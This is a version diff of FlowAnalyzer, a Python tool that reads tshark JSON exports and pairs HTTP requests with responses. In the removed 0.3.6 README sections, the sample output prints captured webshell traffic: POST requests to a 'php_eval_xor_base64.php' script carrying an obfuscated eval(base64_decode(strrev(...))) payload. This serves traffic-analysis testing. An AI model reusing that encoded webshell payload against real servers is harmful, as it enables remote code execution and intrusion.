FlowAnalyzer 0.3.6__tar.gz → 0.3.8__tar.gz

{flowanalyzer-0.3.6 → FlowAnalyzer-0.3.8}/FlowAnalyzer/FlowAnalyzer.py

@@ -36,15 +36,15 @@ class HttpPair(NamedTuple):
 class FlowAnalyzer:
     """FlowAnalyzer是一个流量分析器，用于解析和处理tshark导出的JSON数据文件"""
 
-    def __init__(self, jsonPath: str):
+    def __init__(self, json_path: str):
         """初始化FlowAnalyzer对象
 
         Parameters
         ----------
-        jsonPath : str
+        json_path : str
             tshark导出的JSON文件路径
         """
-        self.jsonPath = jsonPath
+        self.json_path = json_path
         self.check_json_file()
 
     def check_json_file(self):
@@ -58,11 +58,11 @@ class FlowAnalyzer:
         ValueError
             当JSON文件内容为空时抛出异常
         """
-        if not os.path.exists(self.jsonPath):
-            raise FileNotFoundError("您的tshark导出的JSON文件没有找到！JSON路径：%s" % self.jsonPath)
+        if not os.path.exists(self.json_path):
+            raise FileNotFoundError("您的tshark导出的JSON文件没有找到！JSON路径：%s" % self.json_path)
 
-        if os.path.getsize(self.jsonPath) == 0:
-            raise ValueError("您的tshark导出的JSON文件内容为空！JSON路径：%s" % self.jsonPath)
+        if os.path.getsize(self.json_path) == 0:
+            raise ValueError("您的tshark导出的JSON文件内容为空！JSON路径：%s" % self.json_path)
 
     def parse_packet(self, packet: dict) -> Tuple[int, int, float, str, str]:
         """解析Json中的关键信息字段
@@ -92,7 +92,6 @@ class FlowAnalyzer:
         return frame_num, request_in, time_epoch, full_uri, full_request
 
     def parse_http_json(self) -> Tuple[Dict[int, Request], Dict[int, Response]]:
-        # sourcery skip: use-named-expression
         """解析JSON数据文件中的HTTP请求和响应信息
 
         Returns
@@ -100,7 +99,7 @@ class FlowAnalyzer:
         tuple
             包含请求字典和响应列表的元组
         """
-        with open(self.jsonPath, "r", encoding="utf-8") as f:
+        with open(self.json_path, "r", encoding="utf-8") as f:
             data = json.load(f)
 
         requests, responses = {}, {}
@@ -110,7 +109,7 @@ class FlowAnalyzer:
             header, file_data = self.extract_http_file_data(full_request)
 
             # 请求包使用 full_uri 来记录请求 url  返回包使用 request_in 来记录请求包的序号
-            if packet.get("http.response_number"):
+            if packet.get("http.response.code"):
                 responses[frame_num] = Response(
                     frame_num=frame_num,
                     request_in=request_in,
@@ -149,20 +148,18 @@ class FlowAnalyzer:
                 yield HttpPair(request=None, response=resp)
 
     @staticmethod
-    def get_hash(filePath: str, display_filter: str) -> str:
-        with open(filePath, "rb") as f:
+    def get_hash(file_path: str, display_filter: str) -> str:
+        with open(file_path, "rb") as f:
             return hashlib.md5(f.read() + display_filter.encode()).hexdigest()
 
     @staticmethod
-    def extract_json_file(fileName: str, display_filter: str, tshark_workDir: str, tshark_path: str) -> None:
-        # sourcery skip: replace-interpolation-with-fstring, use-fstring-for-formatting
+    def extract_json_file(file_name: str, display_filter: str, tshark_work_dir: str, tshark_path: str) -> None:
         command = [
             tshark_path,
-            "-r", fileName,
-            "-Y", f"(tcp.reassembled_in) or ({display_filter})",
+            "-r", file_name,
+            "-Y", f"({display_filter})",
             "-T", "json",
-            "-e", "http.request_number",
-            "-e", "http.response_number",
+            "-e", "http.response.code",
             "-e", "http.request_in",
             "-e", "tcp.reassembled.data",
             "-e", "frame.number",
@@ -170,33 +167,43 @@ class FlowAnalyzer:
             "-e", "frame.time_epoch",
             "-e", "exported_pdu.exported_pdu",
             "-e", "http.request.full_uri",
-            ">", "output.json",
         ]
 
-        _, stderr = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=tshark_workDir).communicate()
-        if stderr != b"" and b"WARNING" not in stderr:
-            print(f"[Waring/Error]: {stderr}")
+        with open(f"{tshark_work_dir}/output.json", "wb") as output_file:
+            process = subprocess.Popen(
+                command,
+                stdout=output_file,
+                stderr=subprocess.PIPE,
+                cwd=tshark_work_dir
+            )
+            _, stderr = process.communicate()
+
+        if stderr and b"WARNING" not in stderr:
+            try:
+                print(f"[Warning/Error]: {stderr.decode('utf-8')}")
+            except Exception:
+                print(f"[Warning/Error]: {stderr.decode('gbk')}")
 
     @staticmethod
-    def move_and_addMD5Sum(tshark_jsonPath: str, jsonWordPath: str, MD5Sum: str) -> None:
-        if tshark_jsonPath != jsonWordPath:
-            shutil.move(tshark_jsonPath, jsonWordPath)
+    def move_and_add_md5sum(tshark_json_path: str, json_work_path: str, md5_sum: str) -> None:
+        if tshark_json_path != json_work_path:
+            shutil.move(tshark_json_path, json_work_path)
 
-        with open(jsonWordPath, "r", encoding="utf-8") as f:
+        with open(json_work_path, "r", encoding="utf-8") as f:
             data = json.load(f)
-        data[0]["MD5Sum"] = MD5Sum
+        data[0]["MD5Sum"] = md5_sum
 
-        with open(jsonWordPath, "w", encoding="utf-8") as f:
+        with open(json_work_path, "w", encoding="utf-8") as f:
             json.dump(data, f, indent=2)
 
     @staticmethod
-    def get_json_data(filePath: str, display_filter: str, tshark_path: Optional[str] = None) -> str:
+    def get_json_data(file_path: str, display_filter: str, tshark_path: Optional[str] = None) -> str:
         # sourcery skip: replace-interpolation-with-fstring
         """获取JSON数据并保存至文件，保存目录是当前工作目录，也就是您运行脚本所在目录
 
         Parameters
         ----------
-        filePath : str
+        file_path : str
             待处理的数据文件路径
         display_filter : str
             WireShark的显示过滤器
@@ -206,30 +213,30 @@ class FlowAnalyzer:
         str
             保存JSON数据的文件路径
         """
-        if not os.path.exists(filePath):
-            raise FileNotFoundError("您的填写的流量包没有找到！流量包路径：%s" % filePath)
+        if not os.path.exists(file_path):
+            raise FileNotFoundError("您的填写的流量包没有找到！流量包路径：%s" % file_path)
 
-        MD5Sum = FlowAnalyzer.get_hash(filePath, display_filter)
-        workDir = os.getcwd()
-        tshark_workDir = os.path.dirname(os.path.abspath(filePath))
-        tshark_jsonPath = os.path.join(tshark_workDir, "output.json")
-        jsonWordPath = os.path.join(workDir, "output.json")
-        fileName = os.path.basename(filePath)
+        md5_sum = FlowAnalyzer.get_hash(file_path, display_filter)
+        work_dir = os.getcwd()
+        tshark_work_dir = os.path.dirname(os.path.abspath(file_path))
+        tshark_json_path = os.path.join(tshark_work_dir, "output.json")
+        json_work_path = os.path.join(work_dir, "output.json")
+        file_name = os.path.basename(file_path)
 
-        if os.path.exists(jsonWordPath):
+        if os.path.exists(json_work_path):
             try:
-                with open(jsonWordPath, "r", encoding="utf-8") as f:
+                with open(json_work_path, "r", encoding="utf-8") as f:
                     data = json.load(f)
-                    if data[0].get("MD5Sum") == MD5Sum:
+                    if data[0].get("MD5Sum") == md5_sum:
                         logger.debug("匹配HASH校验无误，自动返回Json文件路径!")
-                        return jsonWordPath
+                        return json_work_path
             except Exception:
-                logger.debug("默认的Json文件无法被正常解析, 正在重新生成josn文件中")
+                logger.debug("默认的Json文件无法被正常解析, 正在重新生成Json文件中")
         
         tshark_path = FlowAnalyzer.get_tshark_path(tshark_path)
-        FlowAnalyzer.extract_json_file(fileName, display_filter, tshark_workDir, tshark_path)
-        FlowAnalyzer.move_and_addMD5Sum(tshark_jsonPath, jsonWordPath, MD5Sum)
-        return jsonWordPath
+        FlowAnalyzer.extract_json_file(file_name, display_filter, tshark_work_dir, tshark_path)
+        FlowAnalyzer.move_and_add_md5sum(tshark_json_path, json_work_path, md5_sum)
+        return json_work_path
 
     @staticmethod
     def get_tshark_path(tshark_path: Optional[str]) -> str:
@@ -254,8 +261,7 @@ class FlowAnalyzer:
             exit(-1)
         return use_tshark_path
 
-    def Split_HTTP_headers(self, file_data: bytes) -> Tuple[bytes, bytes]:
-        # sourcery skip: use-named-expression
+    def split_http_headers(self, file_data: bytes) -> Tuple[bytes, bytes]:
         headerEnd = file_data.find(b"\r\n\r\n")
         if headerEnd != -1:
             headerEnd += 4
@@ -267,7 +273,7 @@ class FlowAnalyzer:
             print("[Warning] 没有找到headers和response的划分位置!")
             return b"", file_data
 
-    def Dechunck_HTTP_response(self, file_data: bytes) -> bytes:
+    def dechunck_http_response(self, file_data: bytes) -> bytes:
         """解码分块TCP数据
 
         Parameters
@@ -307,10 +313,10 @@ class FlowAnalyzer:
         tuple
             包含header和file_data的元组
         """
-        header, file_data = self.Split_HTTP_headers(bytes.fromhex(full_request))
+        header, file_data = self.split_http_headers(bytes.fromhex(full_request))
 
         with contextlib.suppress(Exception):
-            file_data = self.Dechunck_HTTP_response(file_data)
+            file_data = self.dechunck_http_response(file_data)
 
         with contextlib.suppress(Exception):
             if file_data.startswith(b"\x1F\x8B"):

FlowAnalyzer-0.3.8/FlowAnalyzer.egg-info/PKG-INFO

@@ -0,0 +1,71 @@
+Metadata-Version: 2.1
+Name: FlowAnalyzer
+Version: 0.3.8
+Summary: FlowAnalyzer是一个流量分析器，用于解析和处理tshark导出的JSON数据文件
+Home-page: https://github.com/Byxs20/FlowAnalyzer
+Author: Byxs20
+Author-email: 97766819@qq.com
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.6
+Classifier: Programming Language :: Python :: 3.7
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+
+# FlowAnalyzer
+
+# 安装
+
+使用 `pip` 安装：
+
+```
+pip3 install FlowAnalyzer
+```
+
+```
+pip3 install FlowAnalyzer -i https://pypi.org/simple
+```
+
+# 快速上手
+
+## 配置
+
+如果您安装 `WireShark` 没有修改安装目录，默认 `tshark` 路径会如下：
+
+```python
+# windows
+tshark_path = r"C:\Program Files\Wireshark\tshark.exe"
+```
+
+`Linux`, `MacOS` 默认路径不清楚，需要看下面的**纠正路径**，**确定路径没有问题，那也无需任何配置即可使用！**
+
+## 纠正路径
+
+修改 `python安装目录\Lib\site-packages\FlowAnalyzer\Path.py` 中的变量 `tshark_path` 改为**tshark正确路径**
+
+## 测试
+
+```
+$ git clone https://github.com/Byxs20/FlowAnalyzer.git
+$ cd ./FlowAnalyzer/
+$ python -m tests.demo
+```
+
+运行结果：
+
+```
+[+] 正在处理第1个HTTP流!
+序号: 2请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\n
+...
+```
+
+# Contributing
+Feel free to submit issues or pull requests if you have any suggestions, improvements, or bug reports.
+
+# License
+
+This project is licensed under the [MIT License.](LICENSE)

FlowAnalyzer-0.3.8/PKG-INFO

@@ -0,0 +1,71 @@
+Metadata-Version: 2.1
+Name: FlowAnalyzer
+Version: 0.3.8
+Summary: FlowAnalyzer是一个流量分析器，用于解析和处理tshark导出的JSON数据文件
+Home-page: https://github.com/Byxs20/FlowAnalyzer
+Author: Byxs20
+Author-email: 97766819@qq.com
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.6
+Classifier: Programming Language :: Python :: 3.7
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+
+# FlowAnalyzer
+
+# 安装
+
+使用 `pip` 安装：
+
+```
+pip3 install FlowAnalyzer
+```
+
+```
+pip3 install FlowAnalyzer -i https://pypi.org/simple
+```
+
+# 快速上手
+
+## 配置
+
+如果您安装 `WireShark` 没有修改安装目录，默认 `tshark` 路径会如下：
+
+```python
+# windows
+tshark_path = r"C:\Program Files\Wireshark\tshark.exe"
+```
+
+`Linux`, `MacOS` 默认路径不清楚，需要看下面的**纠正路径**，**确定路径没有问题，那也无需任何配置即可使用！**
+
+## 纠正路径
+
+修改 `python安装目录\Lib\site-packages\FlowAnalyzer\Path.py` 中的变量 `tshark_path` 改为**tshark正确路径**
+
+## 测试
+
+```
+$ git clone https://github.com/Byxs20/FlowAnalyzer.git
+$ cd ./FlowAnalyzer/
+$ python -m tests.demo
+```
+
+运行结果：
+
+```
+[+] 正在处理第1个HTTP流!
+序号: 2请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\n
+...
+```
+
+# Contributing
+Feel free to submit issues or pull requests if you have any suggestions, improvements, or bug reports.
+
+# License
+
+This project is licensed under the [MIT License.](LICENSE)

FlowAnalyzer-0.3.8/README.md

@@ -0,0 +1,53 @@
+# FlowAnalyzer
+
+# 安装
+
+使用 `pip` 安装：
+
+```
+pip3 install FlowAnalyzer
+```
+
+```
+pip3 install FlowAnalyzer -i https://pypi.org/simple
+```
+
+# 快速上手
+
+## 配置
+
+如果您安装 `WireShark` 没有修改安装目录，默认 `tshark` 路径会如下：
+
+```python
+# windows
+tshark_path = r"C:\Program Files\Wireshark\tshark.exe"
+```
+
+`Linux`, `MacOS` 默认路径不清楚，需要看下面的**纠正路径**，**确定路径没有问题，那也无需任何配置即可使用！**
+
+## 纠正路径
+
+修改 `python安装目录\Lib\site-packages\FlowAnalyzer\Path.py` 中的变量 `tshark_path` 改为**tshark正确路径**
+
+## 测试
+
+```
+$ git clone https://github.com/Byxs20/FlowAnalyzer.git
+$ cd ./FlowAnalyzer/
+$ python -m tests.demo
+```
+
+运行结果：
+
+```
+[+] 正在处理第1个HTTP流!
+序号: 2请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\n
+...
+```
+
+# Contributing
+Feel free to submit issues or pull requests if you have any suggestions, improvements, or bug reports.
+
+# License
+
+This project is licensed under the [MIT License.](LICENSE)

{flowanalyzer-0.3.6 → FlowAnalyzer-0.3.8}/setup.py

@@ -7,7 +7,7 @@ with open(os.path.join(os.path.dirname(__file__), "README.md"), encoding="utf-8"
 
 setup(
     name="FlowAnalyzer",
-    version="0.3.6",
+    version="0.3.8",
     description="FlowAnalyzer是一个流量分析器，用于解析和处理tshark导出的JSON数据文件",
     author="Byxs20",
     author_email="97766819@qq.com",

flowanalyzer-0.3.6/FlowAnalyzer.egg-info/PKG-INFO

@@ -1,94 +0,0 @@
-Metadata-Version: 2.1
-Name: FlowAnalyzer
-Version: 0.3.6
-Summary: FlowAnalyzer是一个流量分析器，用于解析和处理tshark导出的JSON数据文件
-Home-page: https://github.com/Byxs20/FlowAnalyzer
-Author: Byxs20
-Author-email: 97766819@qq.com
-Classifier: Development Status :: 3 - Alpha
-Classifier: Intended Audience :: Developers
-Classifier: License :: OSI Approved :: MIT License
-Classifier: Programming Language :: Python :: 3
-Classifier: Programming Language :: Python :: 3.6
-Classifier: Programming Language :: Python :: 3.7
-Classifier: Programming Language :: Python :: 3.8
-Classifier: Programming Language :: Python :: 3.9
-Description-Content-Type: text/markdown
-License-File: LICENSE
-
-# FlowAnalyzer
-
-# 安装
-
-使用 `pip` 安装：
-
-```
-pip3 install FlowAnalyzer
-```
-
-```
-pip3 install FlowAnalyzer -i https://pypi.org/simple
-```
-
-# 快速上手
-
-如果您安装 `WireShark` 没有修改安装目录，默认 `tshark` 路径会如下：
-
-```python
-# windows
-tshark_path = r"C:\Program Files\Wireshark\tshark.exe"
-```
-
-您确定路径没有问题，那也无需任何配置即可使用！
-
-否则，您需要修改 `python安装目录\Lib\site- packages\FlowAnalyzer\Path.py` 中的变量 `tshark_path` 改为您的安装目录
-
-```
-$ git clone https://github.com/Byxs20/FlowAnalyzer.git
-$ cd ./FlowAnalyzer/
-```
-
-使用 `python3 .\tests\demo.py` 看是否能输出正确的运行结果，测试代码如下：
-
-```python
-# sourcery skip: use-fstring-for-formatting
-import os
-from FlowAnalyzer import FlowAnalyzer
-
-
-baseDir = os.path.dirname(os.path.abspath(__file__))
-flowPath = os.path.join(baseDir, "flow.pcapng")
-display_filter = "(http.request and urlencoded-form) or (http.request and data-text-lines) or (http.request and mime_multipart) or (http.response.code == 200 and data-text-lines)"
-
-jsonPath = FlowAnalyzer.get_json_data(flowPath, display_filter=display_filter)
-for count, http in enumerate(FlowAnalyzer(jsonPath).generate_http_dict_pairs(), start=1):
-    print(f"[+] 正在处理第{count}个HTTP流!")
-    
-    request, response = http.request, http.response
-    if request:
-        request_num, header, file_data, time_epoch = request.frame_num, request.header, request.file_data, request.time_epoch
-        print("序号: {}请求包, 请求头: {}, 文件: {}, 时间: {}".format(request_num, header, file_data, time_epoch))
-
-    if response:
-        response_num, header, file_data, time_epoch = response.frame_num, response.header, response.file_data, response.time_epoch
-        print("序号: {}请求包, 请求头: {}, 文件: {}, 时间: {}".format(response_num, header, file_data, time_epoch))
-```
-
-运行结果：
-
-```
-[+] 正在处理第1个HTTP流!
-序号: 2请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\nCookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3;\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nHost: 192.168.225.129\r\nConnection: keep-alive\r\nContent-type: application/x-www-form-urlencoded\r\nContent-Length: 1403', 文件: b'pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTF1YCWEn3M%2BF4ZGJ%2BL2Iz5EofTe8udar8%2BTGDwKtg8LxWYhFKlauQQtYfPnQDdprPQMrHPVjA6hjPeOQNpHlpcBNa5IHIHHrIHEy7jch%2Fv3Z2Y0lq8qSQQkYhwWZhxVpNq1liOGE%3D', 时间: 1682596262.982344
-序号: 3请求包, 请求头: b'HTTP/1.1 200 OK\r\nServer: openresty/1.15.8.1\r\nDate: Thu, 27 Apr 2023 11:51:02 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP/5.5.38\r\nSet-Cookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3; path=/\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache', 文件: b'70\r\n72a9c691ccdaab98fL1tMGI4YTljMh76GrwuHij67J+qF+t2KR17BwHlSvtL1mdSPnoksIZRS0N0Xi89+zNlNaUo+3xjMTU=b4c4e1f6ddd2a488\r\n0\r\n\r\n', 时间: 1682596262.992406
-[+] 正在处理第2个HTTP流!
-序号: 5请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\nCookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3;\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nHost: 192.168.225.129\r\nConnection: keep-alive\r\nContent-type: application/x-www-form-urlencoded\r\nContent-Length: 1409', 文件: b'pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTF1cCWEn3M%2BF4ZGJ%2BL2Iz5EofTe8udar8%2BTGDwKtg8LxWYhFKlauQQtYfPnQDdprPQMrHPVjA6hjPeOTReMrqj%2Fx6aH4XU%2BWInBcrzUhN6o%2FMfL54MmpIY6avwUcSIJBkZUuq7rVUYzE1', 时间: 1682596266.652869
-序号: 6请求包, 请求头: b'HTTP/1.1 200 OK\r\nServer: openresty/1.15.8.1\r\nDate: Thu, 27 Apr 2023 11:51:06 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP/5.5.38\r\nSet-Cookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3; path=/\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache', 文件: b'40\r\n72a9c691ccdaab98fL1tMGI4YTljMh4dHdNjM6AJ3DZmOGE5b4c4e1f6ddd2a488\r\n0\r\n\r\n', 时间: 1682596266.661427
-...
-```
-
-# Contributing
-Feel free to submit issues or pull requests if you have any suggestions, improvements, or bug reports.
-
-# License
-
-This project is licensed under the [MIT License.](LICENSE)

flowanalyzer-0.3.6/PKG-INFO

@@ -1,94 +0,0 @@
-Metadata-Version: 2.1
-Name: FlowAnalyzer
-Version: 0.3.6
-Summary: FlowAnalyzer是一个流量分析器，用于解析和处理tshark导出的JSON数据文件
-Home-page: https://github.com/Byxs20/FlowAnalyzer
-Author: Byxs20
-Author-email: 97766819@qq.com
-Classifier: Development Status :: 3 - Alpha
-Classifier: Intended Audience :: Developers
-Classifier: License :: OSI Approved :: MIT License
-Classifier: Programming Language :: Python :: 3
-Classifier: Programming Language :: Python :: 3.6
-Classifier: Programming Language :: Python :: 3.7
-Classifier: Programming Language :: Python :: 3.8
-Classifier: Programming Language :: Python :: 3.9
-Description-Content-Type: text/markdown
-License-File: LICENSE
-
-# FlowAnalyzer
-
-# 安装
-
-使用 `pip` 安装：
-
-```
-pip3 install FlowAnalyzer
-```
-
-```
-pip3 install FlowAnalyzer -i https://pypi.org/simple
-```
-
-# 快速上手
-
-如果您安装 `WireShark` 没有修改安装目录，默认 `tshark` 路径会如下：
-
-```python
-# windows
-tshark_path = r"C:\Program Files\Wireshark\tshark.exe"
-```
-
-您确定路径没有问题，那也无需任何配置即可使用！
-
-否则，您需要修改 `python安装目录\Lib\site- packages\FlowAnalyzer\Path.py` 中的变量 `tshark_path` 改为您的安装目录
-
-```
-$ git clone https://github.com/Byxs20/FlowAnalyzer.git
-$ cd ./FlowAnalyzer/
-```
-
-使用 `python3 .\tests\demo.py` 看是否能输出正确的运行结果，测试代码如下：
-
-```python
-# sourcery skip: use-fstring-for-formatting
-import os
-from FlowAnalyzer import FlowAnalyzer
-
-
-baseDir = os.path.dirname(os.path.abspath(__file__))
-flowPath = os.path.join(baseDir, "flow.pcapng")
-display_filter = "(http.request and urlencoded-form) or (http.request and data-text-lines) or (http.request and mime_multipart) or (http.response.code == 200 and data-text-lines)"
-
-jsonPath = FlowAnalyzer.get_json_data(flowPath, display_filter=display_filter)
-for count, http in enumerate(FlowAnalyzer(jsonPath).generate_http_dict_pairs(), start=1):
-    print(f"[+] 正在处理第{count}个HTTP流!")
-    
-    request, response = http.request, http.response
-    if request:
-        request_num, header, file_data, time_epoch = request.frame_num, request.header, request.file_data, request.time_epoch
-        print("序号: {}请求包, 请求头: {}, 文件: {}, 时间: {}".format(request_num, header, file_data, time_epoch))
-
-    if response:
-        response_num, header, file_data, time_epoch = response.frame_num, response.header, response.file_data, response.time_epoch
-        print("序号: {}请求包, 请求头: {}, 文件: {}, 时间: {}".format(response_num, header, file_data, time_epoch))
-```
-
-运行结果：
-
-```
-[+] 正在处理第1个HTTP流!
-序号: 2请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\nCookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3;\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nHost: 192.168.225.129\r\nConnection: keep-alive\r\nContent-type: application/x-www-form-urlencoded\r\nContent-Length: 1403', 文件: b'pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXz